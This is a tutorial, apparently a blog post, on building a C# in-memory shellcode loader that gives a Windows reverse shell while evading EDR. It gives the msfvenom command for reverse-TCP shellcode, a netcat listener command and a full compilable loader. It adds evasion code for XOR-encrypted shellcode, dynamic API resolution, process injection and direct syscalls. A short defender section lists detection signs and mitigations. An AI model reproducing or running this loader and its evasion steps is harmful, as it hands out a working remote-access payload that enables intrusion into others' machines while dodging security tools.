Understanding EDR Evasion Techniques: C# Reverse Shell Implementation#

⚠️ Disclaimer: This content is provided strictly for educational purposes to enhance understanding of cybersecurity techniques and defenses. The techniques described here should only be used in authorized security testing environments with explicit permission. Unauthorized use of these methods is illegal and unethical.

Introduction#

Modern Endpoint Detection and Response (EDR) solutions have become increasingly sophisticated in detecting malicious activities. Understanding how attackers bypass these protections is crucial for defenders to build better security controls. This guide explores the technical implementation of a C# reverse shell that uses in-memory execution techniques to evade traditional security measures.

Core Concepts#

In-Memory Execution#

Traditional malware often writes files to disk, making detection easier for antivirus solutions. In-memory execution avoids this by:

Allocating executable memory directly
Writing shellcode to allocated memory
Executing code without touching the disk
Leaving minimal forensic artifacts

Windows API Functions#

Three critical Windows API functions enable this technique:

VirtualAlloc: Allocates memory in the process’s virtual address space
CreateThread: Creates a thread to execute code
WaitForSingleObject: Waits for thread completion

Implementation Guide#

Step 1: Generate Shellcode with msfvenom#

First, generate the shellcode payload using Metasploit’s msfvenom:

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f csharp

This generates C# formatted shellcode for a reverse TCP shell. Key parameters:

-p: Payload type (reverse TCP shell for Windows x64)
LHOST: Attacker’s IP address
LPORT: Listening port
-f csharp: Output format compatible with C# byte arrays

Step 2: Set Up a Listener#

On the attacker’s machine, establish a listener:

1
nc -lvnp YOUR_PORT

This creates a netcat listener that will receive the reverse shell connection.

Step 3: Complete C# Implementation#

Here’s the full C# implementation with detailed comments:

1
using System;
2
using System.Runtime.InteropServices;
3

4
namespace ShellcodeLoader
5
{
6
    class Program
7
    {
8
        // Import necessary Windows API functions
9
        [DllImport("kernel32.dll", SetLastError = true)]
10
        static extern IntPtr VirtualAlloc(
11
            IntPtr lpAddress,
12
            uint dwSize,
13
            uint flAllocationType,
14
            uint flProtect);
15

16
        [DllImport("kernel32.dll", SetLastError = true)]
17
        static extern IntPtr CreateThread(
18
            IntPtr lpThreadAttributes,
19
            uint dwStackSize,
20
            IntPtr lpStartAddress,
21
            IntPtr lpParameter,
22
            uint dwCreationFlags,
23
            out uint lpThreadId);
24

25
        [DllImport("kernel32.dll", SetLastError = true)]
26
        static extern uint WaitForSingleObject(
27
            IntPtr hHandle,
28
            uint dwMilliseconds);
29

30
        // Constants for memory allocation
31
        const uint MEM_COMMIT = 0x1000;
32
        const uint MEM_RESERVE = 0x2000;
33
        const uint PAGE_EXECUTE_READWRITE = 0x40;
34
        const uint INFINITE = 0xFFFFFFFF;
35

36
        static void Main(string[] args)
37
        {
38
            // Replace this shellcode with the one generated by msfvenom
39
            byte[] shellcode = new byte[] {
40
                /* Your shellcode bytes go here */
41
                // Example format:
42
                // 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00,
43
                // 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
44
                // ... more bytes ...
45
            };
46

47
            // Allocate memory for the shellcode
48
            IntPtr addr = VirtualAlloc(
49
                IntPtr.Zero,                    // Let system choose address
50
                (uint)shellcode.Length,         // Size of shellcode
51
                MEM_COMMIT | MEM_RESERVE,       // Allocation type
52
                PAGE_EXECUTE_READWRITE);        // Protection (RWX)
53

54
            if (addr == IntPtr.Zero)
55
            {
56
                Console.WriteLine("[-] Memory allocation failed.");
57
                return;
58
            }
59

60
            // Copy shellcode to allocated memory
61
            Marshal.Copy(shellcode, 0, addr, shellcode.Length);
62

63
            // Create a thread to execute the shellcode
64
            IntPtr hThread = CreateThread(
65
                IntPtr.Zero,    // Default security attributes
66
                0,              // Default stack size
67
                addr,           // Thread start address (shellcode)
68
                IntPtr.Zero,    // No parameters
69
                0,              // Run immediately
70
                out uint threadId);
71

72
            if (hThread == IntPtr.Zero)
73
            {
74
                Console.WriteLine("[-] Thread creation failed.");
75
                return;
76
            }
77

78
            // Wait for the thread to finish execution
79
            WaitForSingleObject(hThread, INFINITE);
80
        }
81
    }
82
}

Step 4: Compilation#

Compile the C# program using the C# compiler:

1
csc Program.cs

This generates Program.exe that, when executed on the target system, establishes a reverse shell connection.

Advanced Evasion Techniques#

1. Shellcode Encryption#

Encrypt shellcode to avoid signature-based detection:

1
static byte[] XORDecrypt(byte[] data, byte key)
2
{
3
    byte[] decrypted = new byte[data.Length];
4
    for (int i = 0; i < data.Length; i++)
5
    {
6
        decrypted[i] = (byte)(data[i] ^ key);
7
    }
8
    return decrypted;
9
}
10

11
// Usage
12
byte[] encryptedShellcode = { /* Encrypted bytes */ };
13
byte[] shellcode = XORDecrypt(encryptedShellcode, 0xAA);

2. Dynamic API Resolution#

Avoid static imports by resolving APIs at runtime:

1
[DllImport("kernel32.dll")]
2
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
3

4
[DllImport("kernel32.dll")]
5
static extern IntPtr LoadLibrary(string lpFileName);
6

7
// Dynamically resolve VirtualAlloc
8
IntPtr kernel32 = LoadLibrary("kernel32.dll");
9
IntPtr virtualAllocAddr = GetProcAddress(kernel32, "VirtualAlloc");

3. Process Injection#

Inject into legitimate processes:

1
[DllImport("kernel32.dll")]
2
static extern IntPtr OpenProcess(
3
    int dwDesiredAccess,
4
    bool bInheritHandle,
5
    int dwProcessId);
6

7
[DllImport("kernel32.dll")]
8
static extern IntPtr VirtualAllocEx(
9
    IntPtr hProcess,
10
    IntPtr lpAddress,
11
    uint dwSize,
12
    uint flAllocationType,
13
    uint flProtect);
14

15
[DllImport("kernel32.dll")]
16
static extern bool WriteProcessMemory(
17
    IntPtr hProcess,
18
    IntPtr lpBaseAddress,
19
    byte[] lpBuffer,
20
    uint nSize,
21
    out UIntPtr lpNumberOfBytesWritten);
22

23
[DllImport("kernel32.dll")]
24
static extern IntPtr CreateRemoteThread(
25
    IntPtr hProcess,
26
    IntPtr lpThreadAttributes,
27
    uint dwStackSize,
28
    IntPtr lpStartAddress,
29
    IntPtr lpParameter,
30
    uint dwCreationFlags,
31
    out IntPtr lpThreadId);

4. Syscall Techniques#

Bypass user-mode hooks using direct syscalls:

1
// Assembly code for direct NtAllocateVirtualMemory syscall
2
byte[] syscallStub = {
3
    0x4C, 0x8B, 0xD1,              // mov r10, rcx
4
    0xB8, 0x18, 0x00, 0x00, 0x00,  // mov eax, 0x18 (syscall number)
5
    0x0F, 0x05,                    // syscall
6
    0xC3                           // ret
7
};

Detection and Defense#

For Defenders#

Memory Scanning: Monitor for RWX memory allocations
Behavioral Analysis: Track unusual thread creation patterns
API Monitoring: Log suspicious API call sequences
Process Relationships: Monitor parent-child process anomalies
Network Detection: Identify reverse shell traffic patterns

Detection Signatures#

Common indicators of this technique:

VirtualAlloc with PAGE_EXECUTE_READWRITE
Thread creation pointing to recently allocated memory
High entropy sections (encrypted shellcode)
Suspicious network connections from unexpected processes

Mitigation Strategies#

Enforce W^X Policy: Prevent memory from being writable and executable
API Hooking: Monitor and block suspicious API usage
Code Integrity: Verify digital signatures of executing code
Network Segmentation: Limit outbound connections
Application Control: Whitelist approved applications

Responsible Testing Guidelines#

Testing Environment#

Always test in controlled environments:

Isolated virtual machines
Dedicated security labs
Authorized penetration testing engagements
Never on production systems

Legal Compliance#

Ensure compliance with:

Written authorization from system owners
Applicable laws and regulations
Organizational security policies
Ethical hacking guidelines

Documentation#

Maintain detailed records of:

Testing scope and authorization
Techniques used
Vulnerabilities discovered
Remediation recommendations

Educational Resources#

Recommended Tools#

Process Monitor: Monitor system activity
WinDbg: Debug and analyze Windows applications
x64dbg: User-mode debugger
IDA Pro: Disassembler and debugger

Practice Platforms#

HackTheBox: Legal penetration testing practice
TryHackMe: Guided security challenges
VulnHub: Vulnerable VMs for practice
OWASP WebGoat: Web application security

Ethical Considerations#

Red Team Perspective#

When conducting authorized security assessments:

Document all activities thoroughly
Minimize impact on production systems
Report findings responsibly
Provide actionable remediation guidance

Blue Team Perspective#

For defenders implementing controls:

Focus on detection patterns, not specific tools
Implement defense in depth
Regular security awareness training
Continuous monitoring and improvement

Conclusion#

Understanding EDR evasion techniques is crucial for both offensive and defensive security professionals. This guide demonstrates how attackers leverage Windows APIs and in-memory execution to bypass traditional security controls. By studying these techniques, defenders can:

Build more effective detection rules
Implement appropriate preventive controls
Respond more effectively to incidents
Design resilient security architectures

Remember that with great knowledge comes great responsibility. Use these techniques only for legitimate security testing and always prioritize ethical considerations in your security practice.

References#

Microsoft Documentation: Windows API Reference
MITRE ATT&CK: Process Injection Techniques
“The Art of Memory Forensics” by Michael Hale Ligh et al.
“Windows Internals” by Mark Russinovich et al.
SANS: Advanced Penetration Testing Course Materials